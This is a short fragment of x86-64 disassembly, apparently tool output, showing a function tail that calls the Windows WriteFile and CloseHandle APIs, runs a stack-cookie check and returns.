mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180024a73
cmp dword [rsp + 0x54], 0x200
je 0x180024a75
jmp 0x180024a7a
jmp 0x1800249ef
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x278
ret